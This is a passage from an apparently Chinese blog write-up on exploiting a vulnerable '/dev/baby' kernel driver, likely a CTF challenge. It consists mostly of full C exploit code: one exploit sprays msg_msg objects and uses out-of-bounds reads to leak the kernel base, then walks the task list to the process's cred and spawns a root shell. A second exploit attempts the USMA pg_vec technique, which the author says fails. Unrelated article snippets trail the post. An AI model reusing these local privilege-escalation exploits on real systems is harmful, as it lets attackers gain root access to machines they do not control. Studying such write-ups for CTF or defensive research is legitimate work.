        register_userfaultfd(&thr2, (void*)(uffd_buf2+0x1000), 0x1000, handler_2);


        puts("[+] ==> START <==");
        memset(buf, 'A', 0x1000);
        add(0); // 0
        add(1); // 1
        add(3); // 3
        add(7); // 7
        dele(0);

        if ((qid = msgget(IPC_PRIVATE, IPC_CREAT|0666)) < 0) err_exit("FAILED to create a msg_queue");
        memset(msg_buffer, 'A', sizeof(msg_buffer));
        msg_msg = (struct msg_buf*)msg_buffer;
        msg_msg->m_type = 1;
        if (msgsnd(qid, msg_msg, 0x40-0x30, 0) < 0) err_exit("FAILED to msgsnd a 0x40 msg");

        add(0xffff);
        memset(msg_buffer, 0, sizeof(msg_buffer));
        for (int i = 0; i < SPARY_NUMS; i++)
        {
                if ((msg_idx[i] = msgget(0, IPC_PRIVATE|0666)) < 0) err_exit("FAILED to create a msg_queue");
                msg_msg->m_type = 1;
                *(uint64_t*)msg_msg->m_text = 0xAAAABBBBCCCCDDDD;
                *(uint64_t*)(msg_msg->m_text+8) = i;
                if (msgsnd(msg_idx[i], msg_msg, 0x40-0x30, 0) < 0) err_exit("FAILED to msgsnd a 0x40 msg");
        }


        sleep(0.1);
//      puts("[+] debugger");
//      add(20);
        memset(buf, 0, sizeof(buf));
        *(uint64_t*)(buf+0x10) = 1;
        *(uint64_t*)(buf+0x18) = 0x1000-0x30;
        for (int i = 0; i < 0x10000; i+=8)
        {
//              printf("[x] write i: %x\n", i);
                edit(i, buf);
        }

        memset(msg_buffer, 0, sizeof(msg_buffer));
        int res = msgrcv(qid, msg_msg, 0x1000-0x30, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);
        if (res < 0) err_exit("FAILED to OOR msg");
        hexx("msgrcv data len", res);
//      binary_dump("OOB data", msg_msg, 0x1000);

        kernel_offset = -1;
        int vim_qid = -1;
        for (int i = 0; i < 0x1000 / 8; i++)
        {
                size_t addr = *(size_t*)(msg_buffer+i*8);
                if (kernel_offset == -1)
                {
                        kernel_offset = leak_offset(addr);
                }

                if (vim_qid == -1 && addr == 0xAAAABBBBCCCCDDDD)
                {
                        vim_qid = *(int*)(msg_buffer+i*8+8);
                }

                if (kernel_offset != -1 && vim_qid != -1) break;
        }

        if (kernel_offset == -1) err_exit("FAILED to leak kernel_offset");
        hexx("kernel_offset", kernel_offset);

        if (vim_qid == -1) err_exit("FAILED to hit victim msg");
        hexx("victim msg queue idx", vim_qid);

        memset(msg_buffer, 'A', sizeof(msg_buffer));
        msg_msg->m_type = 2;
        if (msgsnd(msg_idx[vim_qid], msg_msg, 0x2000-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd a 0x40 msg");

        memset(msg_buffer, 0, sizeof(msg_buffer));
        res = msgrcv(qid, msg_msg, 0x1000-0x30, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);
        if (res < 0) err_exit("FAILED to OOR msg");
        hexx("msgrcv data len", res);
//      binary_dump("OOB data", msg_msg, 0x1000);

        for (int i = 0; i < 0x1000 / 8; i++)
        {
                size_t addr = *(size_t*)(msg_buffer+i*8);
                size_t idx = *(int*)(msg_buffer+i*8+8);
                if (addr == 0xAAAABBBBCCCCDDDD && idx == vim_qid)
                {
                        ll_next = *(uint64_t*)(msg_buffer+i*8-0x30);
                        ll_prev = *(uint64_t*)(msg_buffer+i*8-0x28);
                }
        }

        if (ll_next == -1 || ll_prev == -1)
                err_exit("FAILED to leak msg_seg addr");

        hexx("ll_next", ll_next);
        hexx("ll_prev", ll_prev);

        size_t tasks_off = 0x298;
        size_t pid_off = 0x398;
        size_t cred_off = 0x540;
        size_t init_task = 0xffffffff81c124c0 + kernel_offset;

        memset(buf, 0, sizeof(buf));
        struct msg_header* mh = (struct msg_header*)buf;
        mh->l_next = 0;
        mh->l_prev = 0;
        mh->m_type = 1;
        mh->m_ts = 0x2000-0x30-8;
        mh->security = 0;
        size_t real_pid = getpid();
        size_t cur_task = init_task;
        size_t cur_cred = 0;
        uint64_t* task_task = NULL;
        hexx("real_pid", real_pid);
        while (1)
        {
                mh->next = (void*)(cur_task - 8);
                edit(0, buf);
                memset(msg_buffer, 0, sizeof(msg_buffer));
                res = msgrcv(qid, msg_msg, 0x2000-0x30-8, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);
                if (res < 0x2000-0x30-8) err_exit("FAILED to OOR meg_segment");
                task_task = (uint64_t*)(msg_msg->m_text+0x1000-0x30);
                hexx("cur pid", task_task[pid_off/8]&0xffffffff);
                if (real_pid == (task_task[pid_off/8]&0xffffffff))
                {
                        //binary_dump("current task_struct", msg_buffer+0x1000, 0x1000);
                        cur_cred = task_task[cred_off/8];
                        break;
                }
                cur_task = task_task[tasks_off/8+1] - tasks_off;
        }

        hexx("cur_task", cur_task);
        hexx("cur_cred", cur_cred);
        cred_cred = cur_cred;

        res = msgrcv(msg_idx[vim_qid], msg_msg, 0x40-0x10, 1, IPC_NOWAIT|MSG_NOERROR);
        hexx("msgrcv to free", res);
        res = msgrcv(msg_idx[vim_qid], msg_msg, 0x2000-0x30-8, 2, IPC_NOWAIT|MSG_NOERROR);
        hexx("msgrcv to free", res);

        pthread_t th1, th2;
        res = pthread_create(&th1, NULL, thread_handler1, NULL);
        if (res != 0) err_exit("FAILED to create a new thread");
        res = pthread_create(&th2, NULL, thread_handler2, NULL);
        if (res != 0) err_exit("FAILED to create a new thread");


        pthread_join(th1, NULL);
        pthread_join(th2, NULL);

        hexx("UID", getuid());
        system("/bin/sh");
//      puts("[+] debugger");
//      add(20);
        puts("[X] Never EXP END");
        return 0;
}

效果如下:

USMA -- 并没有成功提权

利用思路如下:

1)add 一个 obj0

2)释放 obj0,分配 user_key_payload 占据 obj0

3)利用数组越界写 obj0 从而构造好 UAF

4)堆喷 user_key_payload;并 key_revoke 释放 user_key_payload

5)UAF 修改 UAF user_key_payload 的 datalen 实现越界读

6)user_key_payload 越界读泄漏 kernel_offset

7)key_revoke 释放 user_key_payload

---- 第8步就失败了-------------------------------------------------------------------------------------

8)堆喷 pgv 占据 UAF obj 《======= 失败,无法堆喷 pgv

9)UAF 修改 pg_vec 数组中的 pgv 地址为内核代码段地址

10)mmap 将内核代码段地址映射到用户空间,从而直接修改硬编码

exp 如下:虽然如此,但笔者认为其是一个不错的思路

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/if_packet.h>

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}


struct note {
        int func_idx;
        int no_use0;
        uint64_t tag;
        char* ptr;
        uint64_t no_use1;
};


int fd;
void add(uint64_t tag)
{
        struct note n = { .tag = tag };
        ioctl(fd, 0x1001, &n);
}

void dele(uint64_t tag)
{
        struct note n = { .tag = tag };
        ioctl(fd, 0x1003, &n);
}

void edit(uint64_t tag, char* buf)
{
        struct note n = { .tag = tag, .ptr = buf };
        ioctl(fd, 0x1002, &n);
}

int key_alloc(char *description, char *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen,
                   KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int keyid, char *payload, size_t plen)
{
    return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}

int key_read(int keyid, char *buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int key_unlink(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}

void unshare_setup(void)
{
    char edit[0x100];
    int tmp_fd;

    if (unshare(CLONE_NEWNET))//CLONE_NEWNS))// | CLONE_NEWUSER | CLONE_NEWNET))
    {
         perror("[X] ERROR unshare");
         exit(EXIT_FAILURE);
    }

    tmp_fd = open("/proc/self/setgroups", O_WRONLY);
    write(tmp_fd, "deny", strlen("deny"));
    close(tmp_fd);

    tmp_fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getuid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);

    tmp_fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getgid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);
}

#ifndef ETH_P_ALL
#define ETH_P_ALL 0x0003
#endif

void packet_socket_rx_ring_init(int s, unsigned int block_size,
                                unsigned int frame_size, unsigned int block_nr,
                                unsigned int sizeof_priv, unsigned int timeout) {
    int v = TPACKET_V3;
    int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
    if (rv < 0) puts("setsockopt(PACKET_VERSION)"), exit(-1);

    struct tpacket_req3 req;
    memset(&req, 0, sizeof(req));
    req.tp_block_size = block_size;
    req.tp_frame_size = frame_size;
    req.tp_block_nr = block_nr;
    req.tp_frame_nr = (block_size * block_nr) / frame_size;
    req.tp_retire_blk_tov = timeout;
    req.tp_sizeof_priv = sizeof_priv;
    req.tp_feature_req_word = 0;

    rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
    if (rv < 0) puts("setsockopt(PACKET_RX_RING)"), exit(-1);
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
                        unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
    int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (s < 0) perror("[X] socket(AF_PACKET)"), exit(-1);

    packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout);

    struct sockaddr_ll sa;
    memset(&sa, 0, sizeof(sa));
    sa.sll_family = PF_PACKET;
    sa.sll_protocol = htons(ETH_P_ALL);
    sa.sll_ifindex = if_nametoindex("lo");
    sa.sll_hatype = 0;
    sa.sll_pkttype = 0;
    sa.sll_halen = 0;

    int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
    if (rv < 0) puts("bind(AF_PACKET)"), exit(-1);

    return s;
}
// count 为 pg_vec 数组的大小, 即 pg_vec 的大小为 count*8
// size/4096 为要分配的 order
int pagealloc_pad(int count, int size) {
    return packet_socket_setup(size, 2048, count, 0, 100);
}

#define KEY_SPRAY_NUMS 0x20
#define SPARY_PAGE_NUMS 0x1

int main(int argc, char** argv, char** env)
{
        //bind_core(0);
        //save_status();
        int pipe_fd[2];
        pipe(pipe_fd);

        pid_t pid = fork();
        if (!pid)
        {
                unshare_setup();
                char desc[8];
                char buf[0x1000];
                int key_id;
                int key_tmp[KEY_SPRAY_NUMS];
                size_t kernel_offset;
                size_t modprobe_path;

                fd = open("/dev/baby", O_RDONLY);
                if (fd < 0) err_exit("FAILED to open dev file");

                memset(buf, 'A', sizeof(buf));
                puts("[+] ==> START <==");
                add(0); // 0
                add(1); // 1
                add(3); // 3
                add(7); // 7
                dele(0);
                key_id = key_alloc("Pwner", buf, 17);
                if (key_id < 0) err_exit("FAILED to key_alloc to get UAF chunk");

                for (int i = 0; i < KEY_SPRAY_NUMS; i++)
                {
                        sprintf(desc, "%s%d", "Pwner", i);
                        key_tmp[i] = key_alloc(desc, buf, 17);
                        if (key_tmp[i] < 0) err_exit("FAILED to key_alloc to spary");
                }

                add(15); // 15
                for (int i = 0; i < KEY_SPRAY_NUMS; i++) key_revoke(key_tmp[i]);

                memset(buf, 0, sizeof(buf));
                *(uint64_t*)buf = 0;
                *(uint64_t*)(buf+8) = 0;
                *(uint64_t*)(buf+16) = 0xf00;
                edit(0, buf);
                memset(buf, 0, sizeof(buf));
                kernel_offset = -1;
                int res = key_read(key_id, buf, 0xf00);
                hexx("res", res);

                //binary_dump("OOB_READ DATA", buf, 0xf00);
                for (int i = 0; i < 0xf00 / 8; i++)
                {
                        if (*(uint64_t*)(buf+i*8) > 0xffffffff81000000 && (*(uint64_t*)(buf+i*8)&0xfff) == 0xf90)
                        {
                                kernel_offset = *(uint64_t*)(buf+i*8) - 0xffffffff811a3f90;
                                break;
                        }
                }

        //      for (int i = 0; i < KEY_SPRAY_NUMS; i++) key_unlink(key_tmp[i]);

                if (kernel_offset == -1) err_exit("FAILED to leak kernel offset");
                modprobe_path = kernel_offset + 0xffffffff81c337a0;
                hexx("kernel_offset", kernel_offset);
                hexx("modprobe_path", modprobe_path);

                key_revoke(key_id);

                char* page;
                int page_idx[SPARY_PAGE_NUMS];

                for (int i = 0; i < SPARY_PAGE_NUMS; i++)
                {
                        page_idx[i] = pagealloc_pad(8, 4096);
                }

                for (int i = 0; i < 0x30 / 8; i++)
                {
                        *(uint64_t*)(buf+i*8) = 0xFFFFFFFF81091000 + kernel_offset;
                }

                for (int i = 0; i < SPARY_PAGE_NUMS; i++)
                {
                        page = (char*)mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, page_idx[i], 0);
                        page[0x570] = 0xeb;
                }
                puts("[+] Child Process END");
                //add(1);
                write(pipe_fd[1], "A", 1);
        } else if (pid < 0) {

                err_exit("FAILED to fork");
        } else {
                char buf[1];
                read(pipe_fd[0], buf, 1);
                setresuid(0, 0, 0);
                hexx("UID", getuid());
                get_root_shell();
        }

        return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/210304.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

linux特殊权限_suid_chattr_umask

3.3 特殊权限 如果一个文件很重要&#xff0c;需要依赖特殊权限避免其被删除。 由于特殊权限会拥有一些“特权”&#xff0c;因而用户若无特殊需要&#xff0c;不应该去打开这些权限&#xff0c;避免安全方面出现严重漏洞&#xff0c;甚至摧毁系统。3个权限是对了执行文件或目…

CAPL语言 自动化测试

CAPL语言 自动化测试 CAPL&#xff08;CAN Access Programming Language&#xff09;是一种专为CAN&#xff08;Controller Area Network&#xff09;网络开发的编程语言。这种语言主要用于汽车行业&#xff0c;尤其是在自动化测试和网络通信方面。以下是关于其在自动化测试中…

【带头学C++】----- 九、类和对象 ---- 9.2 构造函数

目录 9.2 构造函数 9.2.1 构造函数的概述 9.2.2 构造函数定义方法&#xff08;初始化构造函数&#xff09; 9.2.3 提供构造函数的影响 9.2 构造函数 以下是一些C引入构造函数的原因&#xff1a; 初始化对象&#xff1a;构造函数允许在创建对象时立即初始化该对象的成员变量…

C#常用运算符的优先级

前言 运算符在C#编程语言中扮演着重要的角色&#xff0c;用于执行各种计算和操作。了解运算符的优先级是编写高效和正确代码的关键。本文将深入探讨C#中38个常用运算符的优先级划分和理解&#xff0c;并提供详细的说明和示例&#xff0c;以帮助读者更好地理解运算符的使用。 目…

sql语句排除相同元素

数据库表如图所示&#xff0c;重复的&#xff0c;我只要登录用户名下的车位号并且不重复 使用下面这种语句就会呈现下面那张图 public List<CarplaceNumber> getAllCarplaceNumberList(String substring1) throws SQLException {QueryRunner r new QueryRunner(DataSou…

超大规模集成电路设计----学习框架(一)

本文仅供学习&#xff0c;不作任何商业用途&#xff0c;严禁转载。绝大部分资料来自----数字集成电路——电路、系统与设计(第二版)及中国科学院段成华教授PPT 超大规模集成电路设计----学习框架&#xff08;一&#xff09; 这门课在学什么&#xff1f;这门课该怎么学&#xf…

Windows启动nacos操作文档

Windows启动nacos操作文档 1、新建数据库nacos_config 2、导入nacos\conf\nacos-mysql.sql文件 /******************************************/ /* 数据库全名 nacos_config */ /* 表名称 config_info */ /******************************************/ CREATE T…

(数据结构)顺序表的查找

静态分配代码&#xff1a; #include<stdio.h> #include<stdlib.h> #define MAX 100 typedef struct LinkList {int data[MAX];int lenth; }Link; //初始化 void CreateList(Link* L) {L->lenth 0;for (int i 0; i < MAX; i){L->data[i] 0;} } //插入 …

C++动态内存管理new,delete

C动态内存管理new&#xff0c;delete 1.C/C内存分布2.C语言中的内存管理方式3.C中的内存管理方式new&#xff0c;delete3.1C中的内置类型new&#xff0c;delete3.2new&#xff0c;delete操作自定义类型3.3 new和delete匹配 4. operator new与operator delete函数4.1new和delete…

FISCO-BCOS 在ARM系统架构搭建节点(国密版)

问题&#xff1a; 使用 fisco-bcos v2.9.1 搭建一个节点&#xff0c;批量上链1000条数据&#xff0c;在上链200条-400条数据之间节点会出现异常&#xff0c;导致后面数据不能上链。 系统环境 操作系统&#xff1a;统信 查看系统构架 ld -version rootuos-PC:/# ld -version …

深入探索网络协议:揭开互联网运作的奥秘(建议收藏)

随着如今数字化时代的到来&#xff0c;互联网已经成为我们日常生活中不可或缺的一部分。然而&#xff0c;我们是否曾好奇过互联网是如何运作的&#xff1f;它是如何将我们与世界连接起来的&#xff1f;答案就在网络协议中&#xff0c;这是互联网背后的语言。 网络协议的作用和功…

网站更换IP的四大注意事项

1.对网站当中的数据进行备份 网站更换IP时可以将页面的数据库文件和站点文件通过下载工具在本地完成备份。 2.更换解析域名 从站点域名管理后台当中更换域名地址&#xff0c;改为新的IP地址。 3.确保IP安全 在用户更换IP前一定要确定IP是否安全&#xff0c;一旦IP存在不良…

python系统调用执行ping命令无法检测到超时情况(破案了:ping命令-W参数单位为s,我写了个1000)

文章目录 问题描述破案了&#xff1a;ping命令-W参数单位为s&#xff0c;我写了个1000。。。,,ԾㅂԾ,, 问题描述 我用了系统调用去执行ping&#xff0c;一开始用os.system()&#xff0c;有问题&#xff0c;后面用subprocess问题还是存在&#xff0c;后来我把这个改了&#xff…

CookieSession Redis 到JWT会话管理历史

单应用时期&#xff0c;通常使用 Cookies 和 Session 进行会话管理。 用户登录后&#xff0c;服务器创建一个唯一的会话标识符&#xff08;Session ID&#xff09;&#xff0c;将其存储在浏览器的 Cookies 中&#xff0c;并在服务端维护一个关联该标识符的会话对象。 这种方…

Woocommerce Private Store私人商店秘密商城插件,适合批发商店,会员制俱乐部

点击访问原文Woocommerce Private Store私人商店秘密商城插件&#xff0c;适合批发商店&#xff0c;会员制俱乐部 - 易服客工作室 WooCommerce Private Store插件是使 WooCommerce 私有的简单方法。密码保护您的整个 WooCommerce 商店并使其隐藏。 非常适合批发商店、会员制俱…

线程安全问题之死锁

作者简介&#xff1a; zoro-1&#xff0c;目前大二&#xff0c;正在学习Java&#xff0c;数据结构&#xff0c;javaee等 作者主页&#xff1a; zoro-1的主页 欢迎大家点赞 &#x1f44d; 收藏 ⭐ 加关注哦&#xff01;&#x1f496;&#x1f496; 线程安全问题之死锁 一个线程&…

基于减法平均优化器优化算法(SABO)-极限学习机(ELM)的时间序列预测模型matlab代码

极限学习机&#xff08;Extreme Learning Machine, ELM&#xff09;或“超限学习机”是一类基于前馈神经网络&#xff08;Feedforward Neuron Network, FNN&#xff09;构建的机器学习系统或方法&#xff0c;适用于监督学习和非监督学习问题。ELM在研究中被视为一类特殊的FNN&a…

亚马逊云科技 re:Invent 2023:科技前沿风向标,探索未来云计算之窗

文章目录 一、前言二、什么是亚马逊云科技 re:Invent&#xff1f;三、亚马逊云科技 re:Invent 2023 将于何时何地举行四、亚马逊云科技 re:Invent 2023 有什么内容&#xff1f;4.1 亚马逊云科技 re:Invent 2023 主题演讲4.2 亚马逊云科技行业专家探实战 五、更多亚马逊云科技活…

C++11【下】

欢迎来到Cefler的博客&#x1f601; &#x1f54c;博客主页&#xff1a;那个传说中的man的主页 &#x1f3e0;个人专栏&#xff1a;题目解析 &#x1f30e;推荐文章&#xff1a;题目大解析&#xff08;3&#xff09; 目录 &#x1f449;&#x1f3fb; 新的类功能类成员变量初始…

基于算能的AI边缘计算盒子,内置强悍TPU | 32TOPS INT8算力

边缘计算盒子 内置强悍TPU | 32TOPS INT8算力 ● 支持浮点运算的TPU平台盒子&#xff0c;支持32TOPSINT8&#xff0c;16TFLOPSFP16&#xff0c;2TFLOPSFP32高算力 ● 单芯片最高支持32路H.264 & H.265的实时解码能力 ● 支持国产算法框架Paddle飞桨&#xff0c;适配Caf…